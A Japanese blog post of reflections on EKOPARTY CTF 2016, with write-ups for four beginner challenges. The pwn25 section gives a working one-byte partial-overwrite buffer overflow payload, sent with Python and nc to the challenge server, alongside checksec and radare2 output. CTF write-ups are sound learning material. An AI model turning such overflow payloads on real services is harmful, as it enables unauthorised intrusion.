EKOPARTY CTF 2016: 感想と反省
はじめに
1日目の日本時間18時くらいに知った. 平日は日中講義なので夕方夜の隙間時間に問題眺めてた. 大学のネットワークから問題サーバーに接続できないことも多く,モチベーションの低下にも繋がった.
とりあえず何か1問くらいはときたいなぁと思ったが,結局1問も解けず撃沈.
取り組んだ問題と考えたこと,そのWrite upをまとめる.
pwn25 ultrababy
まずは事前調査
$ file ultrababy ultrababy: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=de50a6b52145c2fed72e45e8f36dd27f0daced16, not stripped $ checksec --file ultrababy [*] '/home/ubuntu/writeup/[EKOPARTY CTF 2016]/pwn25 ultrababy/ultrababy' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
正直ultrababyなのにFull RELROでNX, PIE 有効って難しそうだなぁとか思ってた.
radare2で関数を列挙してみると,sym.Flagが怪しいというとこまではわかってた.後でwrite upを見て気づいたが,アドレスの下位1バイト分しか違わないので,そこだけ書き換えてやればよかった.
$ r2 ultrababy -- I accidentally radared my filesystem today. [0x000006b0]> aa [x] Analyze all flags starting with sym. and entry0 (aa) [0x000006b0]> afl 0x00000658 3 23 sym._init 0x00000680 1 8 sym.imp.puts 0x00000688 1 8 sym.imp.read 0x00000690 1 8 sym.imp.fflush 0x00000698 1 8 sym.imp.setvbuf 0x000006a0 1 16 sym.imp.__cxa_finalize 0x000006b0 1 42 entry0 0x000006e0 4 50 -> 44 sym.deregister_tm_clones 0x00000720 4 66 -> 57 sym.register_tm_clones 0x00000770 5 50 sym.__do_global_dtors_aux 0x000007b0 4 48 -> 42 sym.frame_dummy 0x000007e0 1 19 sym.Bye 0x000007f3 1 19 sym.Flag 0x00000806 1 161 sym.main 0x000008b0 4 101 sym.__libc_csu_init 0x00000920 1 2 sym.__libc_csu_fini 0x00000924 1 9 sym._fini
逆アセンブルコードを見ていくと,rdxを呼び出しているところがあり,rdxに入ってるのはQWORD PTR [rbp-0x8]
の関数Byeのアドレスである.
<main+152>: call rdx
0x19バイトでBOFしてスタックに積まれたsym.Byeの下位1バイト分のアドレスが書き換えられるので,ここを0xf3に書き換えてやれば良い.
下位1バイトしか変わらないっていうのに気づけていたら僕も解けてた
00:0000| rsi rsp 0x7fffffffdd60 ('a' <repeats 15 times>...) 01:0008| 0x7fffffffdd68 ('a' <repeats 15 times>...) 02:0016| 0x7fffffffdd70 ("aaaaaaaaaGUUUU") 03:0024| 0x7fffffffdd78 --> 0x555555554761 (<register_tm_clones+65>: ret) 04:0032| rbp 0x7fffffffdd80 --> 0x0 05:0040| 0x7fffffffdd88 --> 0x7ffff7a36f45 (<__libc_start_main+245>: mov edi,eax) 06:0048| 0x7fffffffdd90 --> 0x7fffffffde68 --> 0x7fffffffe208 ("/home/ubuntu/wr"...) 07:0056| 0x7fffffffdd98 --> 0x7fffffffde68 --> 0x7fffffffe208 ("/home/ubuntu/wr"...)
ローカルで試してみると
$ python -c "print 'a'*0x18 + '\xf3'" > input.txt $ ./ultrababy < input.txt Welcome, give me you best shot EKO{xxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
$ python -c "print 'a'*0x18 + '\xf3'" | nc 9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site 55000 Welcome, give me you best shot EKO{Welcome_to_pwning_challs_2k16}
Web25 Mr.Robot
webなのになんのリンクも貼られてないしヒント意味わからんとか考えてた.
後からWriteupみたらrobot.txtだしそういえばDisallow it!とか書いてあってめちゃくちゃヒントじゃんこれ!ってなった.
https://ctf.ekoparty.org/robots.txt
Disallow: /static/wIMti7Z27b.txt
とあるので,
https://ctf.ekoparty.org/static/wIMti7Z27b.txt
にアクセスする.
EKO{robot_is_following_us}
FBI25 Welcome to the dark side
.onionのリンクなのでTorでアクセスする必要がある.
自分の環境にTor入ってなかったのとリンク先がsilkroad
ってあってやばそうなやつじゃん….とか思って逃げた.
実際は多分普通のサイトだったみたいで,アクセスしてソースコードを見ると一番上にコメントでFlagが隠れていた.
EKO{buy_me_some_b0ts}
misc50 Hidden inside EKO
普通に背景画像にフラグある. EKO{th3_fl4g}
これ50ポイントもあったのか…
感想
見直してみるととても簡単な問題ばかりだった. ちゃんと諦めずに解いてみるのが大切だなぁと反省した.
解けないからずっとその問題にかじりついていたが,あまりにも進まないと思ったら次の問題に移ったほうがよさそうだと感じた. 一人で取り組んでると気軽に相談できる相手もいないので辛く厳しい戦いである.
あとは,EKOPARTY CTFは初心者向けの問題が多いらしく,確かに他のwriteup見てても取り組みやすそうな問題や理解しやすい問題が多いと思った.(初心者以下なので初心者向けの問題が解けない)
あとは,常時開設CTFは行き詰った時にForumなどで追加のヒントがもらえたが,実際のCTFだとヒントがないので,自分の知見を広げて蓄積することが必要だと思った.
まだたくさん問題が残っているので,他の問題にもwriteup参考にしつつ解いて知見を広げたい.